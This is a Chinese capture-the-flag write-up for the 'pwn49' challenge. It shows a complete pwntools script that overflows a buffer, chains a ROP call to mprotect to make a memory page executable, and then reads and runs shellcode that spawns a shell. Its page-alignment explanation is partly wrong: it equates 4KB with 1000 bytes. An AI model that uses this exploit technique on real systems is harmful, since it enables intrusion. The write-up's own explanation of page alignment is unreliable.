pwn49
zach0ry

题目

image-20250726160201265

image-20250726160211566

看出是静态编译,考虑用mprotect来修改它的权限

image-20250726161308673

ctrl+s查看bss段,找要修改的范围

image-20250726161541483

因为mprotect的地址选择的限制条件

我们把页面边界定为0x80DA000

接着就可以构造payload了

先调用mprotect函数修改权限,再用read函数把后门函数读入这个位置

之后控制返回地址让程序回到这个地方执行后门函数

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
#p=process("./pwn49")
context(arch = 'i386',os = 'linux',log_level = 'debug')
#gdb.attach(p,"b*0x0000000000400737")
p=remote( "pwn.challenge.ctf.show",28242)
elf=ELF("./pwn49")
edx_ecx_ebx=0x08056194
mprotect=0x0806cdd0
start=0x80DA000
read=elf.sym["read"]

payload=b'a'*(0x12+4)+p32(mprotect)
payload += p32(edx_ecx_ebx) + p32(start) + p32(1000) + p32(7)
payload+=p32(read)+p32(edx_ecx_ebx)+p32(0)+p32(start)+p32(1000)+p32(start)
p.sendline(payload)

payload=asm(shellcraft.sh())
p.sendline(payload)
p.interactive()

(找pop_ret时只需要控制是pop了那三个寄存器就可以)

mprotect

image-20250726160746650

mprotect 系统调用有严格的页面对齐要求:

  1. 起始地址必须是页面边界(4KB个字节的倍数)(4KB=1000字节)
  2. 长度会被向上舍入到页面边界
  3. 区间长度 len 必须是页大小的整数倍

假设你的 BSS 段开始于 0x80DB320,len长度为1000:

内存布局:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x80DA000 ┌─────────────────┐ ← 页面边界(4KB对齐)

​ │ 页面1 │

​ │ │

0x80DB320 ┌─────────────────┐ ← BSS段开始

​ │ BSS段 │

​ │ │

0x80DBFFF └─────────────────┘ ← 页面1结束

0x80DC000 ┌─────────────────┐ ← 下一个页面边界